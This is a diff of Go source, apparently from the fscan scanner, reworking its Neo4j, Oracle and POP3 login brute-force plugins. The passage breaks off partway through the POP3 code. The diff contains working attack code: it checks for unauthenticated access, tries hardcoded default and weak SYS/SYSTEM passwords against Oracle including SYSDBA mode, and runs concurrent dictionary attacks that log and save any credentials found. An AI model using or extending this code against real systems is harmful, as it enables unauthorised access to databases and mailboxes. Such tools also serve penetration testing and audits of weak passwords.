@ -1,165 +1,262 @@
package Plugins package Plugins
import ( import (
"context"
"fmt" "fmt"
"github.com/neo4j/neo4j-go-driver/v4/neo4j" "github.com/neo4j/neo4j-go-driver/v4/neo4j"
"github.com/shadow1ng/fscan/Common" "github.com/shadow1ng/fscan/Common"
"strings" "strings"
"sync"
"time" "time"
) )
func Neo4jScan(info *Common.HostInfo) (tmperr error) { // Neo4jCredential 表示一个Neo4j凭据
type Neo4jCredential struct {
Username string
Password string
}
// Neo4jScanResult 表示Neo4j扫描结果
type Neo4jScanResult struct {
Success bool
Error error
Credential Neo4jCredential
IsUnauth bool
IsDefaultCreds bool
}
func Neo4jScan(info *Common.HostInfo) error {
if Common.DisableBrute { if Common.DisableBrute {
return return nil
} }
maxRetries := Common.MaxRetries
target := fmt.Sprintf("%v:%v", info.Host, info.Ports) target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target)) Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
// 首先测试无认证访问和默认凭证 // 设置全局超时上下文
initialChecks := []struct { ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second)
user string defer cancel()
pass string
}{ // 初始检查列表 - 无认证和默认凭证
initialCredentials := []Neo4jCredential{
{"", ""}, // 无认证 {"", ""}, // 无认证
{"neo4j", "neo4j"}, // 默认凭证 {"neo4j", "neo4j"}, // 默认凭证
} }
// 先检查无认证和默认凭证
Common.LogDebug("尝试默认凭证...") Common.LogDebug("尝试默认凭证...")
for _, check := range initialChecks { for _, credential := range initialCredentials {
Common.LogDebug(fmt.Sprintf("尝试: %s:%s", check.user, check.pass)) Common.LogDebug(fmt.Sprintf("尝试: %s:%s", credential.Username, credential.Password))
flag, err := Neo4jConn(info, check.user, check.pass)
if flag && err == nil {
var msg string
if check.user == "" {
msg = fmt.Sprintf("Neo4j服务 %s 无需认证即可访问", target)
Common.LogSuccess(msg)
// 保存结果 - 无认证访问 result := tryNeo4jCredential(ctx, info, credential, Common.Timeout, 1)
result := &Common.ScanResult{ if result.Success {
Time: time.Now(), // 标记结果类型
Type: Common.VULN, if credential.Username == "" && credential.Password == "" {
Target: info.Host, result.IsUnauth = true
Status: "vulnerable",
Details: map[string]interface{}{
"port": info.Ports,
"service": "neo4j",
"type": "unauthorized-access",
},
}
Common.SaveResult(result)
} else { } else {
msg = fmt.Sprintf("Neo4j服务 %s 默认凭证可用 用户名: %s 密码: %s", target, check.user, check.pass) result.IsDefaultCreds = true
Common.LogSuccess(msg)
// 保存结果 - 默认凭证
result := &Common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: map[string]interface{}{
"port": info.Ports,
"service": "neo4j",
"type": "default-credentials",
"username": check.user,
"password": check.pass,
},
}
Common.SaveResult(result)
} }
return err
// 保存结果
saveNeo4jResult(info, target, result)
return nil
} }
} }
totalUsers := len(Common.Userdict["neo4j"]) // 构建凭据列表
totalPass := len(Common.Passwords) var credentials []Neo4jCredential
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d)", totalUsers, totalPass))
tried := 0
total := totalUsers * totalPass
// 遍历所有用户名密码组合
for _, user := range Common.Userdict["neo4j"] { for _, user := range Common.Userdict["neo4j"] {
for _, pass := range Common.Passwords { for _, pass := range Common.Passwords {
tried++ actualPass := strings.Replace(pass, "{user}", user, -1)
pass = strings.Replace(pass, "{user}", user, -1) credentials = append(credentials, Neo4jCredential{
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", tried, total, user, pass)) Username: user,
Password: actualPass,
})
}
}
// 重试循环 Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
for retryCount := 0; retryCount < maxRetries; retryCount++ { len(Common.Userdict["neo4j"]), len(Common.Passwords), len(credentials)))
if retryCount > 0 {
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retryCount+1, user, pass)) // 使用工作池并发扫描
result := concurrentNeo4jScan(ctx, info, credentials, Common.Timeout, Common.MaxRetries)
if result != nil {
// 记录成功结果
saveNeo4jResult(info, target, result)
return nil
}
// 检查是否因为全局超时而退出
select {
case <-ctx.Done():
Common.LogDebug("Neo4j扫描全局超时")
return fmt.Errorf("全局超时")
default:
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)+len(initialCredentials)))
return nil
}
}
// concurrentNeo4jScan 并发扫描Neo4j服务
func concurrentNeo4jScan(ctx context.Context, info *Common.HostInfo, credentials []Neo4jCredential, timeoutSeconds int64, maxRetries int) *Neo4jScanResult {
// 使用ModuleThreadNum控制并发数
maxConcurrent := Common.ModuleThreadNum
if maxConcurrent <= 0 {
maxConcurrent = 10 // 默认值
}
if maxConcurrent > len(credentials) {
maxConcurrent = len(credentials)
}
// 创建工作池
var wg sync.WaitGroup
resultChan := make(chan *Neo4jScanResult, 1)
workChan := make(chan Neo4jCredential, maxConcurrent)
scanCtx, scanCancel := context.WithCancel(ctx)
defer scanCancel()
// 启动工作协程
for i := 0; i < maxConcurrent; i++ {
wg.Add(1)
go func() {
defer wg.Done()
for credential := range workChan {
select {
case <-scanCtx.Done():
return
default:
result := tryNeo4jCredential(scanCtx, info, credential, timeoutSeconds, maxRetries)
if result.Success {
select {
case resultChan <- result:
scanCancel() // 找到有效凭据,取消其他工作
default:
}
return
}
} }
}
}()
}
done := make(chan struct { // 发送工作
go func() {
for i, cred := range credentials {
select {
case <-scanCtx.Done():
break
default:
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password))
workChan <- cred
}
}
close(workChan)
}()
// 等待结果或完成
go func() {
wg.Wait()
close(resultChan)
}()
// 获取结果,考虑全局超时
select {
case result, ok := <-resultChan:
if ok && result != nil && result.Success {
return result
}
return nil
case <-ctx.Done():
Common.LogDebug("Neo4j并发扫描全局超时")
scanCancel() // 确保取消所有未完成工作
return nil
}
}
// tryNeo4jCredential 尝试单个Neo4j凭据
func tryNeo4jCredential(ctx context.Context, info *Common.HostInfo, credential Neo4jCredential, timeoutSeconds int64, maxRetries int) *Neo4jScanResult {
var lastErr error
for retry := 0; retry < maxRetries; retry++ {
select {
case <-ctx.Done():
return &Neo4jScanResult{
Success: false,
Error: fmt.Errorf("全局超时"),
Credential: credential,
}
default:
if retry > 0 {
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password))
time.Sleep(500 * time.Millisecond) // 重试前等待
}
// 创建连接结果通道
resultChan := make(chan struct {
success bool
err error
}, 1)
// 在协程中尝试连接
connCtx, cancel := context.WithTimeout(ctx, time.Duration(timeoutSeconds)*time.Second)
go func() {
defer cancel()
success, err := Neo4jConn(info, credential.Username, credential.Password)
select {
case <-connCtx.Done():
case resultChan <- struct {
success bool success bool
err error err error
}, 1) }{success, err}:
go func(user, pass string) {
flag, err := Neo4jConn(info, user, pass)
select {
case done <- struct {
success bool
err error
}{flag, err}:
default:
}
}(user, pass)
var err error
select {
case result := <-done:
err = result.err
if result.success && err == nil {
msg := fmt.Sprintf("Neo4j服务 %s 爆破成功 用户名: %s 密码: %s", target, user, pass)
Common.LogSuccess(msg)
// 保存结果 - 成功爆破
vulnResult := &Common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: map[string]interface{}{
"port": info.Ports,
"service": "neo4j",
"type": "weak-password",
"username": user,
"password": pass,
},
}
Common.SaveResult(vulnResult)
return nil
}
case <-time.After(time.Duration(Common.Timeout) * time.Second):
err = fmt.Errorf("连接超时")
} }
}()
if err != nil { // 等待结果或超时
errlog := fmt.Sprintf("Neo4j服务 %s 尝试失败 用户名: %s 密码: %s 错误: %v", target, user, pass, err) var success bool
Common.LogError(errlog) var err error
if retryErr := Common.CheckErrs(err); retryErr != nil { select {
if retryCount == maxRetries-1 { case result := <-resultChan:
continue success = result.success
} err = result.err
continue case <-connCtx.Done():
if ctx.Err() != nil {
// 全局超时
return &Neo4jScanResult{
Success: false,
Error: ctx.Err(),
Credential: credential,
} }
} }
break // 单个连接超时
err = fmt.Errorf("连接超时")
}
if success {
return &Neo4jScanResult{
Success: true,
Credential: credential,
}
}
lastErr = err
if err != nil {
// 检查是否需要重试
if retryErr := Common.CheckErrs(err); retryErr == nil {
break // 不需要重试的错误
}
} }
} }
} }
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", tried)) return &Neo4jScanResult{
return tmperr Success: false,
Error: lastErr,
Credential: credential,
}
} }
// Neo4jConn 尝试 Neo4j 连接 // Neo4jConn 尝试Neo4j连接
func Neo4jConn(info *Common.HostInfo, user string, pass string) (bool, error) { func Neo4jConn(info *Common.HostInfo, user string, pass string) (bool, error) {
host, port := info.Host, info.Ports host, port := info.Host, info.Ports
timeout := time.Duration(Common.Timeout) * time.Second timeout := time.Duration(Common.Timeout) * time.Second
@ -170,6 +267,7 @@ func Neo4jConn(info *Common.HostInfo, user string, pass string) (bool, error) {
// 配置驱动选项 // 配置驱动选项
config := func(c *neo4j.Config) { config := func(c *neo4j.Config) {
c.SocketConnectTimeout = timeout c.SocketConnectTimeout = timeout
c.ConnectionAcquisitionTimeout = timeout
} }
var driver neo4j.Driver var driver neo4j.Driver
@ -189,11 +287,70 @@ func Neo4jConn(info *Common.HostInfo, user string, pass string) (bool, error) {
} }
defer driver.Close() defer driver.Close()
// 测试连接 // 测试连接有效性
err = driver.VerifyConnectivity() err = driver.VerifyConnectivity()
if err != nil { if err != nil {
return false, err return false, err
} }
// 尝试执行简单查询以确认权限
session := driver.NewSession(neo4j.SessionConfig{AccessMode: neo4j.AccessModeRead})
defer session.Close()
_, err = session.Run("MATCH (n) RETURN count(n) LIMIT 1", nil)
if err != nil {
return false, err
}
return true, nil return true, nil
} }
// saveNeo4jResult 保存Neo4j扫描结果
func saveNeo4jResult(info *Common.HostInfo, target string, result *Neo4jScanResult) {
var successMsg string
var details map[string]interface{}
if result.IsUnauth {
// 无认证访问
successMsg = fmt.Sprintf("Neo4j服务 %s 无需认证即可访问", target)
details = map[string]interface{}{
"port": info.Ports,
"service": "neo4j",
"type": "unauthorized-access",
}
} else if result.IsDefaultCreds {
// 默认凭证
successMsg = fmt.Sprintf("Neo4j服务 %s 默认凭证可用 用户名: %s 密码: %s",
target, result.Credential.Username, result.Credential.Password)
details = map[string]interface{}{
"port": info.Ports,
"service": "neo4j",
"type": "default-credentials",
"username": result.Credential.Username,
"password": result.Credential.Password,
}
} else {
// 弱密码
successMsg = fmt.Sprintf("Neo4j服务 %s 爆破成功 用户名: %s 密码: %s",
target, result.Credential.Username, result.Credential.Password)
details = map[string]interface{}{
"port": info.Ports,
"service": "neo4j",
"type": "weak-password",
"username": result.Credential.Username,
"password": result.Credential.Password,
}
}
Common.LogSuccess(successMsg)
// 保存结果
vulnResult := &Common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: details,
}
Common.SaveResult(vulnResult)
}

View File

@ -1,119 +1,381 @@
package Plugins package Plugins
import ( import (
"context"
"database/sql" "database/sql"
"fmt" "fmt"
"github.com/shadow1ng/fscan/Common" "github.com/shadow1ng/fscan/Common"
_ "github.com/sijms/go-ora/v2" _ "github.com/sijms/go-ora/v2"
"strings" "strings"
"sync"
"time" "time"
) )
func OracleScan(info *Common.HostInfo) (tmperr error) { // OracleCredential 表示一个Oracle凭据
type OracleCredential struct {
Username string
Password string
}
// OracleScanResult 表示Oracle扫描结果
type OracleScanResult struct {
Success bool
Error error
Credential OracleCredential
ServiceName string
}
// 常见Oracle服务名列表
var commonServiceNames = []string{"XE", "ORCL", "ORCLPDB1", "XEPDB1", "PDBORCL"}
func OracleScan(info *Common.HostInfo) error {
if Common.DisableBrute { if Common.DisableBrute {
return return nil
} }
maxRetries := Common.MaxRetries
target := fmt.Sprintf("%v:%v", info.Host, info.Ports) target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target)) Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
totalUsers := len(Common.Userdict["oracle"])
totalPass := len(Common.Passwords)
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d)", totalUsers, totalPass))
tried := 0 // 设置全局超时上下文
total := totalUsers * totalPass ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second)
defer cancel()
// 遍历所有用户名密码组合 // 构建常见高危凭据列表(优先测试)
highRiskCredentials := []OracleCredential{
{Username: "SYS", Password: "123456"},
{Username: "SYSTEM", Password: "123456"},
{Username: "SYS", Password: "oracle"},
{Username: "SYSTEM", Password: "oracle"},
{Username: "SYS", Password: "password"},
{Username: "SYSTEM", Password: "password"},
{Username: "SYS", Password: "sys123"},
{Username: "SYS", Password: "change_on_install"},
{Username: "SYSTEM", Password: "manager"},
}
// 先尝试常见高危凭据
Common.LogDebug("尝试常见高危凭据...")
for _, cred := range highRiskCredentials {
result := tryAllServiceNames(ctx, info, cred, Common.Timeout, 1)
if result != nil && result.Success {
saveOracleResult(info, target, result.Credential, result.ServiceName)
return nil
}
}
// 构建完整凭据列表
var credentials []OracleCredential
for _, user := range Common.Userdict["oracle"] { for _, user := range Common.Userdict["oracle"] {
for _, pass := range Common.Passwords { for _, pass := range Common.Passwords {
tried++ actualPass := strings.Replace(pass, "{user}", user, -1)
pass = strings.Replace(pass, "{user}", user, -1) // 转换用户名为大写,提高匹配率
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", tried, total, user, pass)) credentials = append(credentials, OracleCredential{
Username: strings.ToUpper(user),
Password: actualPass,
})
}
}
// 重试循环 Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
for retryCount := 0; retryCount < maxRetries; retryCount++ { len(Common.Userdict["oracle"]), len(Common.Passwords), len(credentials)))
if retryCount > 0 {
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retryCount+1, user, pass)) // 使用工作池并发扫描
result := concurrentOracleScan(ctx, info, credentials, Common.Timeout, Common.MaxRetries)
if result != nil {
// 记录成功结果
saveOracleResult(info, target, result.Credential, result.ServiceName)
return nil
}
// 检查是否因为全局超时而退出
select {
case <-ctx.Done():
Common.LogDebug("Oracle扫描全局超时")
return fmt.Errorf("全局超时")
default:
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)+len(highRiskCredentials)))
return nil
}
}
// tryAllServiceNames 尝试所有常见服务名
func tryAllServiceNames(ctx context.Context, info *Common.HostInfo, credential OracleCredential, timeoutSeconds int64, maxRetries int) *OracleScanResult {
for _, serviceName := range commonServiceNames {
result := tryOracleCredential(ctx, info, credential, serviceName, timeoutSeconds, maxRetries)
if result.Success {
result.ServiceName = serviceName
return result
}
// 对SYS用户尝试SYSDBA模式
if strings.ToUpper(credential.Username) == "SYS" {
result = tryOracleSysCredential(ctx, info, credential, serviceName, timeoutSeconds, maxRetries)
if result.Success {
result.ServiceName = serviceName
return result
}
}
}
return nil
}
// concurrentOracleScan 并发扫描Oracle服务
func concurrentOracleScan(ctx context.Context, info *Common.HostInfo, credentials []OracleCredential, timeoutSeconds int64, maxRetries int) *OracleScanResult {
// 使用ModuleThreadNum控制并发数
maxConcurrent := Common.ModuleThreadNum
if maxConcurrent <= 0 {
maxConcurrent = 10 // 默认值
}
if maxConcurrent > len(credentials) {
maxConcurrent = len(credentials)
}
// 创建工作池
var wg sync.WaitGroup
resultChan := make(chan *OracleScanResult, 1)
workChan := make(chan OracleCredential, maxConcurrent)
scanCtx, scanCancel := context.WithCancel(ctx)
defer scanCancel()
// 启动工作协程
for i := 0; i < maxConcurrent; i++ {
wg.Add(1)
go func() {
defer wg.Done()
for credential := range workChan {
select {
case <-scanCtx.Done():
return
default:
// 尝试所有常见服务名
result := tryAllServiceNames(scanCtx, info, credential, timeoutSeconds, maxRetries)
if result != nil && result.Success {
select {
case resultChan <- result:
scanCancel() // 找到有效凭据,取消其他工作
default:
}
return
}
} }
}
}()
}
// 执行Oracle连接 // 发送工作
done := make(chan struct { go func() {
for i, cred := range credentials {
select {
case <-scanCtx.Done():
break
default:
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password))
workChan <- cred
}
}
close(workChan)
}()
// 等待结果或完成
go func() {
wg.Wait()
close(resultChan)
}()
// 获取结果,考虑全局超时
select {
case result, ok := <-resultChan:
if ok && result != nil && result.Success {
return result
}
return nil
case <-ctx.Done():
Common.LogDebug("Oracle并发扫描全局超时")
scanCancel() // 确保取消所有未完成工作
return nil
}
}
// tryOracleCredential 尝试单个Oracle凭据
func tryOracleCredential(ctx context.Context, info *Common.HostInfo, credential OracleCredential, serviceName string, timeoutSeconds int64, maxRetries int) *OracleScanResult {
var lastErr error
for retry := 0; retry < maxRetries; retry++ {
select {
case <-ctx.Done():
return &OracleScanResult{
Success: false,
Error: fmt.Errorf("全局超时"),
Credential: credential,
}
default:
if retry > 0 {
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s@%s", retry+1, credential.Username, credential.Password, serviceName))
time.Sleep(500 * time.Millisecond) // 重试前等待
}
// 创建连接超时上下文
connCtx, cancel := context.WithTimeout(ctx, time.Duration(timeoutSeconds)*time.Second)
// 在协程中执行数据库连接
resultChan := make(chan struct {
success bool
err error
}, 1)
go func() {
success, err := OracleConn(connCtx, info, credential.Username, credential.Password, serviceName, false)
select {
case <-connCtx.Done():
// 已超时或取消,不发送结果
case resultChan <- struct {
success bool success bool
err error err error
}, 1) }{success, err}:
}
}()
go func(user, pass string) { // 等待结果或连接超时
success, err := OracleConn(info, user, pass) var success bool
select { var err error
case done <- struct {
success bool
err error
}{success, err}:
default:
}
}(user, pass)
// 等待结果或超时 select {
var err error case result := <-resultChan:
select { success = result.success
case result := <-done: err = result.err
err = result.err case <-connCtx.Done():
if result.success && err == nil { err = connCtx.Err()
successMsg := fmt.Sprintf("Oracle %s 成功爆破 用户名: %v 密码: %v", target, user, pass) }
Common.LogSuccess(successMsg)
// 保存结果 // 取消连接超时上下文
vulnResult := &Common.ScanResult{ cancel()
Time: time.Now(),
Type: Common.VULN, if success {
Target: info.Host, return &OracleScanResult{
Status: "vulnerable", Success: true,
Details: map[string]interface{}{ Credential: credential,
"port": info.Ports, ServiceName: serviceName,
"service": "oracle", }
"username": user, }
"password": pass,
"type": "weak-password", lastErr = err
}, if err != nil {
} // 如果是认证错误,不需要重试
Common.SaveResult(vulnResult) if strings.Contains(err.Error(), "ORA-01017") {
return nil break // 认证失败
}
case <-time.After(time.Duration(Common.Timeout) * time.Second):
err = fmt.Errorf("连接超时")
} }
// 处理错误情况 // 检查是否需要重试
if err != nil { if retryErr := Common.CheckErrs(err); retryErr == nil {
errMsg := fmt.Sprintf("Oracle %s 尝试失败 用户名: %v 密码: %v 错误: %v", target, user, pass, err) break // 不需要重试的错误
Common.LogError(errMsg)
if retryErr := Common.CheckErrs(err); retryErr != nil {
if retryCount == maxRetries-1 {
continue
}
continue
}
} }
break
} }
} }
} }
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", tried)) return &OracleScanResult{
return tmperr Success: false,
Error: lastErr,
Credential: credential,
}
}
// tryOracleSysCredential 尝试SYS用户SYSDBA模式连接
func tryOracleSysCredential(ctx context.Context, info *Common.HostInfo, credential OracleCredential, serviceName string, timeoutSeconds int64, maxRetries int) *OracleScanResult {
var lastErr error
for retry := 0; retry < maxRetries; retry++ {
select {
case <-ctx.Done():
return &OracleScanResult{
Success: false,
Error: fmt.Errorf("全局超时"),
Credential: credential,
}
default:
if retry > 0 {
Common.LogDebug(fmt.Sprintf("第%d次重试SYS用户SYSDBA模式: %s:%s@%s", retry+1, credential.Username, credential.Password, serviceName))
time.Sleep(500 * time.Millisecond) // 重试前等待
}
// 创建连接超时上下文
connCtx, cancel := context.WithTimeout(ctx, time.Duration(timeoutSeconds)*time.Second)
// 在协程中执行数据库连接
resultChan := make(chan struct {
success bool
err error
}, 1)
go func() {
success, err := OracleConn(connCtx, info, credential.Username, credential.Password, serviceName, true)
select {
case <-connCtx.Done():
// 已超时或取消,不发送结果
case resultChan <- struct {
success bool
err error
}{success, err}:
}
}()
// 等待结果或连接超时
var success bool
var err error
select {
case result := <-resultChan:
success = result.success
err = result.err
case <-connCtx.Done():
err = connCtx.Err()
}
// 取消连接超时上下文
cancel()
if success {
return &OracleScanResult{
Success: true,
Credential: credential,
ServiceName: serviceName,
}
}
lastErr = err
if err != nil {
// 如果是认证错误,不需要重试
if strings.Contains(err.Error(), "ORA-01017") {
break // 认证失败
}
// 检查是否需要重试
if retryErr := Common.CheckErrs(err); retryErr == nil {
break // 不需要重试的错误
}
}
}
}
return &OracleScanResult{
Success: false,
Error: lastErr,
Credential: credential,
}
} }
// OracleConn 尝试Oracle连接 // OracleConn 尝试Oracle连接
func OracleConn(info *Common.HostInfo, user string, pass string) (bool, error) { func OracleConn(ctx context.Context, info *Common.HostInfo, user string, pass string, serviceName string, asSysdba bool) (bool, error) {
host, port, username, password := info.Host, info.Ports, user, pass host, port := info.Host, info.Ports
timeout := time.Duration(Common.Timeout) * time.Second
// 构造连接字符串 // 构造连接字符串,添加更多参数
connStr := fmt.Sprintf("oracle://%s:%s@%s:%s/orcl", connStr := fmt.Sprintf("oracle://%s:%s@%s:%s/%s?connect_timeout=%d",
username, password, host, port) user, pass, host, port, serviceName, Common.Timeout)
// 对SYS用户使用SYSDBA权限
if asSysdba {
connStr += "&sysdba=1"
}
// 建立数据库连接 // 建立数据库连接
db, err := sql.Open("oracle", connStr) db, err := sql.Open("oracle", connStr)
@ -123,14 +385,51 @@ func OracleConn(info *Common.HostInfo, user string, pass string) (bool, error) {
defer db.Close() defer db.Close()
// 设置连接参数 // 设置连接参数
db.SetConnMaxLifetime(timeout) db.SetConnMaxLifetime(time.Duration(Common.Timeout) * time.Second)
db.SetConnMaxIdleTime(timeout) db.SetConnMaxIdleTime(time.Duration(Common.Timeout) * time.Second)
db.SetMaxIdleConns(0) db.SetMaxIdleConns(0)
db.SetMaxOpenConns(1)
// 使用上下文测试连接
pingCtx, cancel := context.WithTimeout(ctx, time.Duration(Common.Timeout)*time.Second)
defer cancel()
// 测试连接 // 测试连接
if err = db.Ping(); err != nil { err = db.PingContext(pingCtx)
if err != nil {
return false, err return false, err
} }
// 不需要额外的查询验证,连接成功即可
return true, nil return true, nil
} }
// saveOracleResult 保存Oracle扫描结果
func saveOracleResult(info *Common.HostInfo, target string, credential OracleCredential, serviceName string) {
var successMsg string
if strings.ToUpper(credential.Username) == "SYS" {
successMsg = fmt.Sprintf("Oracle %s 成功爆破 用户名: %v 密码: %v 服务名: %s (可能需要SYSDBA权限)",
target, credential.Username, credential.Password, serviceName)
} else {
successMsg = fmt.Sprintf("Oracle %s 成功爆破 用户名: %v 密码: %v 服务名: %s",
target, credential.Username, credential.Password, serviceName)
}
Common.LogSuccess(successMsg)
// 保存结果
vulnResult := &Common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: map[string]interface{}{
"port": info.Ports,
"service": "oracle",
"username": credential.Username,
"password": credential.Password,
"service_name": serviceName,
"type": "weak-password",
},
}
Common.SaveResult(vulnResult)
}

View File

@ -2,152 +2,347 @@ package Plugins
import ( import (
"bufio" "bufio"
"context"
"crypto/tls" "crypto/tls"
"fmt" "fmt"
"github.com/shadow1ng/fscan/Common" "github.com/shadow1ng/fscan/Common"
"net" "net"
"strings" "strings"
"sync"
"time" "time"
) )
func POP3Scan(info *Common.HostInfo) (tmperr error) { // POP3Credential 表示一个POP3凭据
type POP3Credential struct {
Username string
Password string
}
// POP3ScanResult 表示POP3扫描结果
type POP3ScanResult struct {
Success bool
Error error
Credential POP3Credential
IsTLS bool
}
func POP3Scan(info *Common.HostInfo) error {
if Common.DisableBrute { if Common.DisableBrute {
return return nil
} }
maxRetries := Common.MaxRetries
target := fmt.Sprintf("%v:%v", info.Host, info.Ports) target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target)) Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
totalUsers := len(Common.Userdict["pop3"])
totalPass := len(Common.Passwords)
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d)", totalUsers, totalPass))
tried := 0 // 设置全局超时上下文
total := totalUsers * totalPass ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second)
defer cancel()
// 遍历所有用户名密码组合 // 构建凭据列表
var credentials []POP3Credential
for _, user := range Common.Userdict["pop3"] { for _, user := range Common.Userdict["pop3"] {
for _, pass := range Common.Passwords { for _, pass := range Common.Passwords {
tried++ actualPass := strings.Replace(pass, "{user}", user, -1)
pass = strings.Replace(pass, "{user}", user, -1) credentials = append(credentials, POP3Credential{
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", tried, total, user, pass)) Username: user,
Password: actualPass,
})
}
}
// 重试循环 Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
for retryCount := 0; retryCount < maxRetries; retryCount++ { len(Common.Userdict["pop3"]), len(Common.Passwords), len(credentials)))
if retryCount > 0 {
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retryCount+1, user, pass))
}
done := make(chan struct { // 使用工作池并发扫描,但需要限制速率
success bool result := concurrentPOP3Scan(ctx, info, credentials, Common.Timeout, Common.MaxRetries)
err error if result != nil {
isTLS bool // 记录成功结果
}, 1) savePOP3Result(info, target, result)
return nil
}
go func(user, pass string) { // 检查是否因为全局超时而退出
success, isTLS, err := POP3Conn(info, user, pass) select {
select { case <-ctx.Done():
case done <- struct { Common.LogDebug("POP3扫描全局超时")
success bool return fmt.Errorf("全局超时")
err error default:
isTLS bool Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)))
}{success, err, isTLS}: return nil
default: }
} }
}(user, pass)
var err error // concurrentPOP3Scan 并发扫描POP3服务包含速率限制
func concurrentPOP3Scan(ctx context.Context, info *Common.HostInfo, credentials []POP3Credential, timeoutSeconds int64, maxRetries int) *POP3ScanResult {
// 不使用ModuleThreadNum控制并发数必须单线程
maxConcurrent := 1
if maxConcurrent <= 0 {
maxConcurrent = 1 // POP3默认并发更低
}
if maxConcurrent > len(credentials) {
maxConcurrent = len(credentials)
}
// 创建工作池
var wg sync.WaitGroup
resultChan := make(chan *POP3ScanResult, 1)
// 创建限速通道,控制请求频率
// 每次发送前需要从中获取令牌,确保请求间隔
rateLimiter := make(chan struct{}, maxConcurrent)
// 初始填充令牌
for i := 0; i < maxConcurrent; i++ {
rateLimiter <- struct{}{}
}
// 使用动态的请求间隔
requestInterval := 1500 * time.Millisecond // 默认间隔1.5秒
scanCtx, scanCancel := context.WithCancel(ctx)
defer scanCancel()
// 创建任务队列
taskQueue := make(chan POP3Credential, len(credentials))
for _, cred := range credentials {
taskQueue <- cred
}
close(taskQueue)
// 记录已处理的凭据数
var processedCount int32
processedCountMutex := &sync.Mutex{}
// 启动工作协程
for i := 0; i < maxConcurrent; i++ {
wg.Add(1)
go func(workerID int) {
defer wg.Done()
for credential := range taskQueue {
select { select {
case result := <-done: case <-scanCtx.Done():
err = result.err return
if result.success && err == nil { case <-rateLimiter:
successMsg := fmt.Sprintf("POP3服务 %s 用户名: %v 密码: %v", target, user, pass) // 获取令牌,可以发送请求
if result.isTLS { processedCountMutex.Lock()
successMsg += " (TLS)" processedCount++
} currentCount := processedCount
Common.LogSuccess(successMsg) processedCountMutex.Unlock()
// 保存结果 Common.LogDebug(fmt.Sprintf("[%d/%d] 工作线程 %d 尝试: %s:%s",
vulnResult := &Common.ScanResult{ currentCount, len(credentials), workerID, credential.Username, credential.Password))
Time: time.Now(),
Type: Common.VULN, result := tryPOP3Credential(scanCtx, info, credential, timeoutSeconds, maxRetries)
Target: info.Host,
Status: "vulnerable", // 尝试完成后添加延迟,然后归还令牌
Details: map[string]interface{}{ time.Sleep(requestInterval)
"port": info.Ports,
"service": "pop3", // 未被取消的情况下归还令牌
"username": user, select {
"password": pass, case <-scanCtx.Done():
"type": "weak-password", // 如果已经取消,不再归还令牌
"tls": result.isTLS, default:
}, rateLimiter <- struct{}{}
}
Common.SaveResult(vulnResult)
return nil
} }
case <-time.After(time.Duration(Common.Timeout) * time.Second):
err = fmt.Errorf("连接超时")
}
if err != nil { if result.Success {
errMsg := fmt.Sprintf("POP3服务 %s 尝试失败 用户名: %v 密码: %v 错误: %v", select {
target, user, pass, err) case resultChan <- result:
Common.LogError(errMsg) scanCancel() // 找到有效凭据,取消其他工作
default:
if retryErr := Common.CheckErrs(err); retryErr != nil {
if retryCount == maxRetries-1 {
continue
} }
continue return
} }
} }
break }
}(i)
}
// 等待结果或完成
go func() {
wg.Wait()
close(resultChan)
}()
// 获取结果,考虑全局超时
select {
case result, ok := <-resultChan:
if ok && result != nil && result.Success {
return result
}
return nil
case <-ctx.Done():
Common.LogDebug("POP3并发扫描全局超时")
scanCancel() // 确保取消所有未完成工作
return nil
}
}
// tryPOP3Credential 尝试单个POP3凭据
func tryPOP3Credential(ctx context.Context, info *Common.HostInfo, credential POP3Credential, timeoutSeconds int64, maxRetries int) *POP3ScanResult {
var lastErr error
for retry := 0; retry < maxRetries; retry++ {
select {
case <-ctx.Done():
return &POP3ScanResult{
Success: false,
